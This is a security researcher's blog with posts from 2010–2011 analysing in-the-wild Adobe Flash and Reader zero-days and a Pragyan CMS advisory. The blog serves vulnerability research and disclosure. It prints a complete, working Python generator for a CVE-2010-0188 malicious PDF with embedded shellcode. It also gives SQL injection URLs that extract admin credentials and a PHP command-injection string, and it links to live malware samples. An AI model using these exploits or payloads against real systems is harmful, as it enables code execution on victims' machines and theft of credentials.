Tuesday, April 12, 2011

CVE-2011-0611 Adobe Flash Zero Day embeded in DOC

information about new zero day in adobe flash player :
http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html
http://www.adobe.com/support/security/advisories/apsa11-02.html

Filename: Disentangling Industrial Policy and Competition Policy.doc
Size:176,144 bytes


My analysis of  Disentangling Industrial Policy and Competition Policy.doc
 
File created 04-Apr-2011 9:50 , by user 7 , and company hust

There are no vulnerabilities in MS Office, there is a vulnerability in embeded swf as was described below.


embeded swf file(local name d:\513.swf)
size 10,421 bytes
decoded action  script


this is heap spray, allocate memory with nop slide=0x11111111.
and load second swf file.

second swf
size 1,484 bytes


SWFTools>swfdump.exe -D 1.swf
[HEADER]        File version: 10
[HEADER]        File size: 1484
[HEADER]        Frame rate: 24.000000
[HEADER]        Frame count: 1
[HEADER]        Movie width: 550.00
[HEADER]        Movie height: 400.00
[045]         4 FILEATTRIBUTES
[00c]      1447 DOACTION
GetU8() out of bounds: TagID = 12

flasm16win>flasm.exe -d 1.swf
movie '1.swf' // flash 10, total frames: 1, frame rate: 24 fps, 550x400 px
frame 0
00000000    push FALSE, 326943637, 326943739
0000000F    oldEquals
00000010    not
00000011    branchIfTrue label2 // offset 1100
00000016    branchIfTrue label1 // offset 24
0000001B    constants 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I'  Declared constant pool length 21 differs from calculated length 20

Disassembly may be incomplete: wrong action length encountered
          end // of frame 0
end

crash exist in Adobe Flash Player plugin .
in my test NPSWF32.dll (10.2.153.1)
crash at location 100cfc03


this possibly related to tweet :
Yuange

call [0x11111110+0x08]
to be continue ...

Tuesday, March 15, 2011

CVE-2011-0609 - Adobe Flash Player ZeroDay

First information about new zero day in adobe flash player was published 03/11/2010 at
https://www.kidinhisroom.com/?q=content/us-cert-ewin-early-warning-indicator-new-adobe-flash-0-day-exploit

Then after 3 days Adobe confirmed bug and released advisory
http://www.adobe.com/support/security/advisories/apsa11-01.html


Filename: crsenvironscan.xls
Size:126,444 bytes
MD5 Hash: 4BB64C1DA2F73DA11F331A96D55D63E2

My analysis of  crsenvironscan.xls
There are no vulnerabilities in MS Office, there is a vulnerability in embeded swf as was described below.


1) There are embeded swf
(target file name f:\sm.swf)


This swf provide heap spray and then load second swf
view source code

it allocates memory
NOP Slide =14141414


then loads second swf.

2) second.swf consist bug

File created possibly by using a fuzzer from

addLabel.swf
 
looks like there are bugs exist when flash player attempts to parse a swf file.
Unknown opcode 152.
Unknown opcode 84. 
(detailed analysis will be provided soon) 
 
3) Shellcode
this is EmbededExec shellcode,not encrypted.
 
decompiled shellcode 
 
Shellcode search for exe between
       cmp     dword ptr [eax], 47422E43h
       cmp     dword ptr [eax+4], 19890604h
 
hex code "432e424704068919" and
 
      cmp     dword ptr [eax], 4B635546h
      cmp     dword ptr [eax+4], 19820424h 
 
hex code "4655634b24048219"

if point view on this
as for me, that looks like some string and date

C.GB  1989/06/04    -  it may mean 1989-06-04 Tiananmen, Beijing, China

FucK 1982/04/24    - ?

 
If you have any ideas, post in comments


Encryption of exe is interesting. 
First 4 bytes of exe header writed from shellcode
then encrypted date decrypts using this algo
 where eax - size of exe
 
decrypt: 
       xor     [ebx], al
       inc     ebx
       dec     eax
       inc     ebx
       dec     eax
       cmp     eax, 0 
       jmp  decrypt
 
This is for the first time I see such encryption in exploits found in the wild.
This is used to bypass scanners, which searches for the exe header.
 
4) Exe 
a.exe 
size 46,048 bytes
MD5: 1e09970c9bf2ca08ee48f8b2e24f6c44
Download Payload File   a.exe 
pass: infected  Virustotal 0/43

Information from PEiD InstallShield AFW [CAB SFX]
 

Sample download link
https://sites.google.com/site/villys777/crsenvironscan.zip
password : infected

Other samples you can get from Mila Parkour site:
http://contagiodump.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html




Friday, February 25, 2011

Pragyan CMS Multiple Vulnerabilities

Affected Software
Pragyan CMS

Technical Description
1) Code execution in INSTALL/install.php
script not correctly validate entered fields.
possibly write at password field string:

");echo exec($_GET["a"]);echo ("

or in another fields with turned of javascript.
in cms/config.inc.php will be code:
define("MYSQL_PASSWORD","");echo exec($_GET["a"]);echo ("");
which allow command execution.

2) sql injection
- get mysql version
http://host/+view&thread_id=-1 UNION ALL SELECT null,null,null,null,concat(unhex(Hex(cast(@@version as char)))),null,null,null--
- get admin account
http://host/+view&thread_id=-1 UNION ALL SELECT null,null,null,null,(SELECT concat(0x7e,0x27,unhex(Hex(cast(pragyanV3_users.user_id as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_name as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_email as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_password as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_fullname as char))),0x27,0x7e) FROM `pragyan11`.pragyanV3_users LIMIT 0,1),null,null,null--

Solution
update to Pragyan CMS 3.0 rev.274

Changelog
2011-19-02 : Initial release
2011-20-02 : Reported to vendor
2011-25-02 : patch released
2011-25-02 : public disclose

Credits

Friday, October 29, 2010

Firefox Exploit (CVE-2010-3765)

Bug patched at firefox 3.6.12 .
Update your browser !


Firefox exploit from the wild

working on windows xp firefox version 3.6.8 - 3.6.11

source code of exploit

virustotal scan results

Thursday, October 28, 2010

New Adobe 0day (bug in flash player),CVE-2010-3654

New bug, successful exploitation of latest adobe reader 9.4.0.195 and flash player 10.1.85.3.

Remotely exploitable.

Adobe confirms exploit http://www.adobe.com/support/security/advisories/apsa10-05.html


Bug exist in authplay.dll





Already vulnerability actively exploited in the wild against Adobe Reader.
Look at Mila's Blog:

http://contagiodump.blogspot.com/2010/10/potential-new-adobe-flash-player-zero.html

Exploit from the wild successful works under Adobe Reader 9.4.0 on windows xp.
pdf size 241,679 bytes.


Swf file size -22,946 bytes.


swf decompiled looks like

this is curvedPolygon.
possibly related to
http://www.flashandmath.com/basic/drawpathCS4/example3.html

Exploit use js heap spray

source code of heap spray
http://pastebin.com/kKBaQnuU
nop slide 0x58585858
exploit feel memory as showed in image



Exploit use ROP technic to allocate memory end copy shellcode.
http://pastebin.com/ax3mdmNh

shellcode drops in %temp% directory
~.exe , ~temp.bat, pdf named same as pdf.

dropped files are located here
http://www.mediafire.com/?asf501lfmtv3s0e
Password is "infected" .

to be continued ...

Friday, September 17, 2010

Adobe 0-day CVE-2010-2883 Made in Korea!

Lets look at CVE-2010-2883 Adobe 0-Day David Leadbetter's One Point Lesson pdf file from Mila.
One of the files that was dropped was hcp.dll signed with certificate.

File Header


File compiled with visual studio 6.0 at 30/08/2010 23:49:52.
and it was captured by Mila on 07/09/2010. Looks like it was undetected and unknown 0-day only for one week.



In resource system lang
Child Type: VarFileInfo
Translation: 1042/1200

VarFileInfo

Language is Korean Unicode.


File Write on C++ with MFC.

Exported functions are:


and from shellcode called function StartUp.

Decompiled hcp.dll
http://pastebin.com/vEzKptHN


An my opinion :
1. The file loader hcp.dll and the exploit were written by different people because of the difference in the quality of programming. Loader hcp.dll was written by a programmer with much lower skills, 'cos its writen on C++ with MFC and does not use any Firewall bypass Technique.

2. Looks like hcp.dll had digital signature only to bypass AV.

3. If the loader file made on a system with default Korean language (Korean Windows), then it was not from China but from Korea.

Monday, September 13, 2010

CVE-2010-2883 poc

I received this exploit from Mila

My tests
Windows VersionAdobe Reader Versionexploitable
xp8.1.1yes
vista8.1.1yes
win78.1.1yes
xp9.3.4yes
vista9.3.4yes
win79.3.4yes


video

Decoded JS (click on the picture to enlarge)




Shellcode

The shellcode is very interesting, it compatible for windows 7, drops dll and call function by address from dll.

It get functions by name

SearchMask is dword, where begin data of embeded dll in pdf

and at the end after put in %temp% dir hcp.dll ,
shellcode call loadlibraryA hcp.dll , then call function StartUp by it address 17a0h



to be continued ....

Saturday, March 13, 2010

CVE-2010-0188 Adobe Working Exploit

Exploit works with Adobe Javascript disabled.
Tested : successfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows XP(SP2,SP3 any languages) also works with Adobe browser plugin.

Sample Exploit - Pdf file size ~2.3Kb.
Virustotal scan result of exploit 0/42 - virustotal.com.

Update: March 17, 2010Chris Hadnagy aka loganWHD from http://www.social-engineer.org/ created a nice video about active exploitation of this POC.
thnx to him.

Source code CVE-2010-0188.py with calc.exe exec shellcode.
------------------------------------------------------------------------------------------
__doc__='''
Title: Adobe PDF LibTiff Integer Overflow Code Execution.
Product: Adobe Acrobat Reader
Version: 8.0 - 8.2, 9.0 - 9.3
CVE: 2010-0188
Author: villy (villys777 at gmail.com)
Site: http://bugix-security.blogspot.com/
Tested : succesfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows XP (SP2, SP3)

'''
import sys
import base64
import struct
import zlib
import StringIO

SHELLCODE_OFFSET=1500
TIFF_OFSET=0x2038

# windows/exec - 227 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=process, CMD=calc.exe
buf = "\x2b\xc9\xd9\xc0\xd9\x74\x24\xf4\x5e\xb1\x33\xba\xd9\xb4"
buf += "\x0a\xbe\x31\x56\x15\x03\x56\x15\x83\x1f\xb0\xe8\x4b\x63"
buf += "\x51\x65\xb3\x9b\xa2\x16\x3d\x7e\x93\x04\x59\x0b\x86\x98"
buf += "\x29\x59\x2b\x52\x7f\x49\xb8\x16\xa8\x7e\x09\x9c\x8e\xb1"
buf += "\x8a\x10\x0f\x1d\x48\x32\xf3\x5f\x9d\x94\xca\x90\xd0\xd5"
buf += "\x0b\xcc\x1b\x87\xc4\x9b\x8e\x38\x60\xd9\x12\x38\xa6\x56"
buf += "\x2a\x42\xc3\xa8\xdf\xf8\xca\xf8\x70\x76\x84\xe0\xfb\xd0"
buf += "\x35\x11\x2f\x03\x09\x58\x44\xf0\xf9\x5b\x8c\xc8\x02\x6a"
buf += "\xf0\x87\x3c\x43\xfd\xd6\x79\x63\x1e\xad\x71\x90\xa3\xb6"
buf += "\x41\xeb\x7f\x32\x54\x4b\x0b\xe4\xbc\x6a\xd8\x73\x36\x60"
buf += "\x95\xf0\x10\x64\x28\xd4\x2a\x90\xa1\xdb\xfc\x11\xf1\xff"
buf += "\xd8\x7a\xa1\x9e\x79\x26\x04\x9e\x9a\x8e\xf9\x3a\xd0\x3c"
buf += "\xed\x3d\xbb\x2a\xf0\xcc\xc1\x13\xf2\xce\xc9\x33\x9b\xff"
buf += "\x42\xdc\xdc\xff\x80\x99\x13\x4a\x88\x8b\xbb\x13\x58\x8e"
buf += "\xa1\xa3\xb6\xcc\xdf\x27\x33\xac\x1b\x37\x36\xa9\x60\xff"
buf += "\xaa\xc3\xf9\x6a\xcd\x70\xf9\xbe\xae\x17\x69\x22\x1f\xb2"
buf += "\x09\xc1\x5f\x00"

class CVE20100188Exploit:
def __init__(self,shellcode):
self.shellcode = shellcode
self.tiff64=base64.b64encode(self.gen_tiff())

def gen_tiff(self):
tiff = '\x49\x49\x2a\x00'
tiff += struct.pack("<L", TIFF_OFSET)

tiff += '\x90' * (SHELLCODE_OFFSET)
tiff += self.shellcode
tiff += '\x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET)

tiff += "\x07\x00\x00\x01\x03\x00\x01\x00"
tiff += "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"
tiff += "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"
tiff += "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"
tiff += "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"
tiff += "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"
tiff += "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00\xF7\x72\x00\x07\x04\x01"
tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"
tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"
tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"
tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"
tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"
tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"
tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"
tiff += "\x00\x07"
return tiff


def gen_xml(self):
xml= '''<?xml version="1.0" encoding="UTF-8" ?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
<present>
<pdf>
<version>1.65</version>
<interactive>1</interactive>
<linearized>1</linearized>
</pdf>
<xdp>
<packets>*</packets>
</xdp>
<destination>pdf</destination>
</present>
</config>
<template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/">
<subform name="topmostSubform" layout="tb" locale="en_US">
<pageSet>
<pageArea id="PageArea1" name="PageArea1">
<contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />
<medium short="612pt" long="792pt" stock="custom" />
</pageArea>
</pageSet>
<subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">
<break before="pageArea" beforeTarget="#PageArea1" />
<bind match="none" />
<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">
<ui>
<imageEdit />
</ui>
</field>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner FormTargetVersion 24?>
<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
<?templateDesigner Zoom 94?>
</template>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data>
<topmostSubform>
<ImageField1 xfa:contentType="image/tif" href="">'''+self.tiff64 +'''</ImageField1>
</topmostSubform>
</xfa:data>
</xfa:datasets>
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" />
<form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/">
<subform name="topmostSubform">
<instanceManager name="_Page1" />
<subform name="Page1">
<field name="ImageField1" />
</subform>
<pageSet>
<pageArea name="PageArea1" />
</pageSet>
</subform>
</form>
</xdp:xdp>

'''
return xml

def gen_pdf(self):
xml = zlib.compress(self.gen_xml())
pdf='''%PDF-1.6
1 0 obj
<</Filter /FlateDecode/Length ''' + str(len(xml)) + '''/Type /EmbeddedFile>>
stream
''' + xml+'''
endstream
endobj
2 0 obj
<</V () /Kids [3 0 R] /T (topmostSubform[0]) >>
endobj
3 0 obj
<</Parent 2 0 R /Kids [4 0 R] /T (Page1[0])>>
endobj
4 0 obj
<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P 5 0 R/FT /Btn/TU (ImageField1)/Ff 65536/Parent 3 0 R/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (ImageField1[0])/Rect [107.385 705.147 188.385 709.087]>>
endobj
5 0 obj
<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent 6 0 R/Type /Page/PieceInfo null>>
endobj
6 0 obj
<</Kids [5 0 R]/Type /Pages/Count 1>>
endobj
7 0 obj
<</PageMode /UseAttachments/Pages 6 0 R/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm 8 0 R/Type /Catalog>>
endobj
8 0 obj
<</DA (/Helv 0 Tf 0 g )/XFA [(template) 1 0 R]/Fields [2 0 R]>>
endobj xref
trailer
<</Root 7 0 R/Size 9>>
startxref
14765
%%EOF'''
return pdf


if __name__=="__main__":
print __doc__
if len(sys.argv) != 2:
print "Usage: %s [output.pdf]" % sys.argv[0]

print "Creating Exploit to %s\n"% sys.argv[1]
exploit=CVE20100188Exploit(buf)
f = open(sys.argv[1],mode='wb')
f.write(exploit.gen_pdf())
f.close()
print "[+] done !"

------------------------------------------------------------------------------------------

Friday, March 12, 2010

CVE-2010-0188 - Adobe Pdf libtiff exploits analysis

Please see some of my research on Mila's Contagio Dump blog.

Part 1. invitation.pdf
Exploit in this file successfully executed in Adobe Reader 9.2, 9.3 on Windows XP (SP2, SP3) but didn't work on Windows Vista and Windows 7.

This pdf can be easily unpacked with pdftk or pdf-parser.py. It is using CVE-2006-3459 libtiff vulnerability, let look at tiff files.



At the end of the file we see integer overflow, you can also see unnecessary data referencing to like /bin/sh /bin/id , this is linux shellcode to execute /bin/id, i think it is because they used the following exploit from Security Focus, and did not change the shellcode.

However, the main shellcode is on the top of the file:



I disassembled the shellcode and it's searching in memory for 0x4656434b04068919,
and then for second 0x4b614b6106118119



The xored file is located between these dwords. The shellcode spawns c:\adobe_update.exe (10608 bytes) , c:\data.exe (32768 bytes), c:\data.bin(91756 bytes) - this is a legitimate pdf file.

Decompiled shellcode is available here .

The dexored embeded data looks like this:
In the beginning of there file there are three dwords, in which the size of generated files is located, followed by the three files together: adobe_updater.exe - this file executess c:\data.exe (32768 bytes), c:\data.bin(91756 bytes) and self deletes after that. ( Virustotal scan result )

Part 2. Another PDF for 8.x
This exploit works on Adobe Reader 8.1.2, posibly on all 8.x.
It used ret code 0x0c0c0c0c, and heap spray technique to execute shellcode

See below deobfuscated javascript for heap spray: